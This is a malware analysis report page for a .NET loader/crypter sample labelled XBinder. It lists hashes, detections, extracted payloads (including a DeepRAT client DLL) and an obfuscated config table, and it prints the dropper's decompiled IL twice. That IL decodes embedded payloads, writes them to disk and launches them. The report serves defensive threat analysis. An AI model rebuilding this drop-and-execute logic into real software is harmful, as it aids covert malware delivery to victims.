Malicious
Malicious

61c8753ca0f1bda2d01bb881c9472f2a

PE Executable
MD5: 61c8753ca0f1bda2d01bb881c9472f2a
Size: 1.06 MB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

This sample is a 1 MB PE Executable identified by Malva.RE as XBinder / XBinder Variant / XRijMut Loader (loader, crypter). Static analysis extracted 16 embedded or derived files and a malware configuration (XBinder config.). It matches 19 YARA rules. The file was analysed statically: it was parsed and decompiled, never executed.

SHA256
2b5085d4a51ac5866db3e9e16311ca09cd8849d6f12699a62d8c43d0870a7773
MD5
61c8753ca0f1bda2d01bb881c9472f2a
Verdict
Malicious
File type
PE Executable · 1 MB
Family
XBinderXBinder VariantXRijMut Loader
Category
Loader, Crypter

Cite this report: https://app.malva.re/sha256/2b5085d4a51ac5866db3e9e16311ca09cd8849d6f12699a62d8c43d0870a7773

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential

File
Size
1.06 MB · 1,055,744 B
Hashes
MD5 61c8753ca0f1bda2d01bb881c9472f2a Sha1 7f1583821304191220007b2f89b8af3444d8e333 Sha256 2b5085d4a51ac5866db3e9e16311ca09cd8849d6f12699a62d8c43d0870a7773 Sha384 6e8559c34b005b11403ece2d46576798d88e4e51d9e77c08fb5bed4bc1ddc2c9b9f880b2910e8f2b7f9ad4d2b69ed300 Sha512 4c4fd82763aeeb04ccf42c1d9cf2a79fbfc1c301c88a1b6f7e66f0504e08fc2ca6225d150a8ad084b3cea13afec6767056e3da7e17766a131d846ebb1be1369f SSDeep 12288:pqOIDKQ3hobu4XtJ1pwMAHekmE5tXfYQj5Ydp4GAQzQpcHstgrz6N6np97b+jCUS:EOA3hobd9J0LrvGAGUgvnp9+jCIcd TLSH 7B25122276D7D82CCEEDF53C423A124BDCAC890E0B79C71EEA60E193A561D5D4C2E467
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very high

3 malicious · 17 files
EXE61c8753ca0f1bda2d01bb881c9472f2aXBinder
Structure
BIN.Net Resources
BINhfkr.Resources
EXEstub.exe
EXEstub.exe [AES Decoded]
Structure
BINResources
BINRT_VERSION
BINID:0001
BINID:0
BINRT_MANIFEST
BINID:0001
BINID:0
BIN.Net Resources
DLLDeepRAT.Client.Newtonsoft.Json.dll
Structure
P7B[Authenticode]_5366eba8.p7b
BINResources
BINRT_VERSION
BINID:0001
BINID:0
EXEwinws.exe
EXEwinws.exe [AES Decoded]
Structure
BINResources
BINRT_GROUP_CURSOR4
BINID:0000
BINID:1033
BINRT_MANIFEST
BINID:0001
BINID:0
BINResources
BINRT_ICON
BINID:0001
BINID:0
BINRT_GROUP_CURSOR4
BINID:0001
BINID:0
BINRT_VERSION
BINID:0001
BINID:0
BINRT_MANIFEST
BINID:0001
BINID:0
STICH beta Structural Threat Infection Chain Hash

A content-independent fingerprint of the infection method: successive formats, internal objects and MITRE techniques from the initial file to each final payload.

STICH Path = the fingerprint (canonical chain with techniques) STICH Shape = structure only Only determinant branches produce STICH Paths.
4 / 4
Path pe:exe>pe:dll>pe:rsrc>bin
Shape pe:exe>pe:dll>pe:rsrc>bin
malicious 4 nodes
Path pe:exe>pe:dll>bin
Shape pe:exe>pe:dll>bin
malicious 3 nodes

Config. Field Value
ref_elem_0x0000000E stub.ehuhuhuhuhuhuhu
ref_elem_0x00000016 winws.huhuhuhuhuhuhu
jAvvGyQdeXibFEgXLa5kWggjMTqG8BSuUT61nqli0JSUpjFCiVWFkk205A %Phuhuhuhu
IDjZyP417kL2dNp1aQym1rdavSpvLFTwLXEozkdtveyhxaMA8ZLzV8x1bb -huhuhuhu
9swEtpfDc9rkIeDm5I7IGJ9VQtDERrRqpmFdjFsMDdQzj243AuKDiTre9c uU8j2huhuhuhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential

Name Value
Module Name
winws.exe
Full Name
winws.exe
EntryPoint 
System.Void G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::tvUfAaGMBLfihsliOXCCE5nTT01RZ0Dg3h5ZkFOynEIv0A01SFi3nPdN21()
Scope Name
winws.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
winws
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
25
Main Method 
System.Void G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::tvUfAaGMBLfihsliOXCCE5nTT01RZ0Dg3h5ZkFOynEIv0A01SFi3nPdN21()
Main IL Instruction Count
159
Main IL 
ldc.i4.1 <null>
stloc.s V_5
call System.Boolean G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::4Oh9oaQVaxnvji4K19iXnwcbuxQBGA4tRzv0NQ1AQXwZH8JUnCkdbkRs7Q()
brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.5 <null>
stloc.s V_5
ldsfld System.Collections.Generic.List`1<System.String> G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::huepXlUWmcEUJBpZp6jC4UpdYKxtAeqj7nC9mK3qGfBTne7ldHZ4hDFsxl
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.2 <null>
br IL_0130: ldloca.s V_2
ldloca.s V_2
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_5
ldsfld System.String G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::jAvvGyQdeXibFEgXLa5kWggjMTqG8BSuUT61nqli0JSUpjFCiVWFkk205A
call System.Object G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::kTaoAZkQfZdPDrv0iXHiuhoTYtLjBOrUA2g45HmnV7BP87qmjNGJ7gVTcr(System.String)
ldstr \
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::IDjZyP417kL2dNp1aQym1rdavSpvLFTwLXEozkdtveyhxaMA8ZLzV8x1bb
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::IDjZyP417kL2dNp1aQym1rdavSpvLFTwLXEozkdtveyhxaMA8ZLzV8x1bb
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.2 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_00CB: ldc.i4.s 13
ldc.i4.8 <null>
stloc.s V_5
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_00C9: br.s IL_0123
ldc.i4.s 9
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::IDjZyP417kL2dNp1aQym1rdavSpvLFTwLXEozkdtveyhxaMA8ZLzV8x1bb
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::07QK7waOjPjs6eWJjGN4BAYTFIXM0bg8IdLJw7XXNivEhtcWHclUQAFXAZ(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 10
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
br.s IL_0123: ldc.i4.s 19
ldc.i4.s 13
stloc.s V_5
ldc.i4.s 14
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::IDjZyP417kL2dNp1aQym1rdavSpvLFTwLXEozkdtveyhxaMA8ZLzV8x1bb
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::07QK7waOjPjs6eWJjGN4BAYTFIXM0bg8IdLJw7XXNivEhtcWHclUQAFXAZ(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 15
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::IDjZyP417kL2dNp1aQym1rdavSpvLFTwLXEozkdtveyhxaMA8ZLzV8x1bb
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.1 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_0123: ldc.i4.s 19
ldc.i4.s 16
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4.s 19
stloc.s V_5
call System.Void System.GC::Collect()
ldc.i4.s 20
stloc.s V_5
ldloca.s V_2
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_002D: ldloca.s V_2
ldloca.s V_2
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
leave IL_01F8: ldloc.s V_4
ldloc.s V_4
br.s IL_0156: ldc.i4.0
ldloc.s V_4
ldc.i4.1 <null>
add <null>
ldc.i4.0 <null>
stloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
ldloc.s V_5
stloc.s V_4
ldloc.3 <null>
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
isinst System.Exception
ldnull <null>
cgt.un <null>
ldloc.3 <null>
ldc.i4.0 <null>
cgt.un <null>
and <null>
ldloc.s V_4
ldc.i4.0 <null>
ceq <null>
and <null>
endfilter <null>
castclass System.Exception
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
leave.s IL_01B8: ldloc.s V_5
ldc.i4 -2146828237
call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32)
throw <null>
ldloc.s V_4
brfalse.s IL_0201: ret
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ret <null>
Module Name
winws.exe
Full Name
winws.exe
EntryPoint 
System.Void G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::tvUfAaGMBLfihsliOXCCE5nTT01RZ0Dg3h5ZkFOynEIv0A01SFi3nPdN21()
Scope Name
winws.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
winws
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
25
Main Method 
System.Void G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::tvUfAaGMBLfihsliOXCCE5nTT01RZ0Dg3h5ZkFOynEIv0A01SFi3nPdN21()
Main IL Instruction Count
159
Main IL 
ldc.i4.1 <null>
stloc.s V_5
call System.Boolean G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::4Oh9oaQVaxnvji4K19iXnwcbuxQBGA4tRzv0NQ1AQXwZH8JUnCkdbkRs7Q()
brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.5 <null>
stloc.s V_5
ldsfld System.Collections.Generic.List`1<System.String> G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::huepXlUWmcEUJBpZp6jC4UpdYKxtAeqj7nC9mK3qGfBTne7ldHZ4hDFsxl
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.2 <null>
br IL_0130: ldloca.s V_2
ldloca.s V_2
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_5
ldsfld System.String G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::jAvvGyQdeXibFEgXLa5kWggjMTqG8BSuUT61nqli0JSUpjFCiVWFkk205A
call System.Object G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::kTaoAZkQfZdPDrv0iXHiuhoTYtLjBOrUA2g45HmnV7BP87qmjNGJ7gVTcr(System.String)
ldstr \
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::IDjZyP417kL2dNp1aQym1rdavSpvLFTwLXEozkdtveyhxaMA8ZLzV8x1bb
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::IDjZyP417kL2dNp1aQym1rdavSpvLFTwLXEozkdtveyhxaMA8ZLzV8x1bb
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.2 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_00CB: ldc.i4.s 13
ldc.i4.8 <null>
stloc.s V_5
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_00C9: br.s IL_0123
ldc.i4.s 9
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::IDjZyP417kL2dNp1aQym1rdavSpvLFTwLXEozkdtveyhxaMA8ZLzV8x1bb
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::07QK7waOjPjs6eWJjGN4BAYTFIXM0bg8IdLJw7XXNivEhtcWHclUQAFXAZ(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 10
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
br.s IL_0123: ldc.i4.s 19
ldc.i4.s 13
stloc.s V_5
ldc.i4.s 14
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::IDjZyP417kL2dNp1aQym1rdavSpvLFTwLXEozkdtveyhxaMA8ZLzV8x1bb
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::07QK7waOjPjs6eWJjGN4BAYTFIXM0bg8IdLJw7XXNivEhtcWHclUQAFXAZ(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 15
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String G7t3nrgVdQsmpG3H0K8YzwqW0iJYuG0v6cXjJuqDJyKUiZxLFU7HiuMEb1::IDjZyP417kL2dNp1aQym1rdavSpvLFTwLXEozkdtveyhxaMA8ZLzV8x1bb
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.1 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_0123: ldc.i4.s 19
ldc.i4.s 16
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4.s 19
stloc.s V_5
call System.Void System.GC::Collect()
ldc.i4.s 20
stloc.s V_5
ldloca.s V_2
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_002D: ldloca.s V_2
ldloca.s V_2
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
leave IL_01F8: ldloc.s V_4
ldloc.s V_4
br.s IL_0156: ldc.i4.0
ldloc.s V_4
ldc.i4.1 <null>
add <null>
ldc.i4.0 <null>
stloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
ldloc.s V_5
stloc.s V_4
ldloc.3 <null>
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
isinst System.Exception
ldnull <null>
cgt.un <null>
ldloc.3 <null>
ldc.i4.0 <null>
cgt.un <null>
and <null>
ldloc.s V_4
ldc.i4.0 <null>
ceq <null>
and <null>
endfilter <null>
castclass System.Exception
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
leave.s IL_01B8: ldloc.s V_5
ldc.i4 -2146828237
call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32)
throw <null>
ldloc.s V_4
brfalse.s IL_0201: ret
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ret <null>

3 malicious · 17 files
EXE61c8753ca0f1bda2d01bb881c9472f2aXBinder
Structure
BIN.Net Resources
BINhfkr.Resources
EXEstub.exe
EXEstub.exe [AES Decoded]
Structure
EXEwinws.exe
EXEwinws.exe [AES Decoded]
Structure

Config. Field Value
ref_elem_0x0000000E stub.ehuhuhuhuhuhuhu
ref_elem_0x00000016 winws.huhuhuhuhuhuhu
jAvvGyQdeXibFEgXLa5kWggjMTqG8BSuUT61nqli0JSUpjFCiVWFkk205A %Phuhuhuhu
IDjZyP417kL2dNp1aQym1rdavSpvLFTwLXEozkdtveyhxaMA8ZLzV8x1bb -huhuhuhu
9swEtpfDc9rkIeDm5I7IGJ9VQtDERrRqpmFdjFsMDdQzj243AuKDiTre9c uU8j2huhuhuhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Sign in or create a free account to view the matching YARA rules. Create a free account
An error has occurred. This application may no longer respond until reloaded. Reload 🗙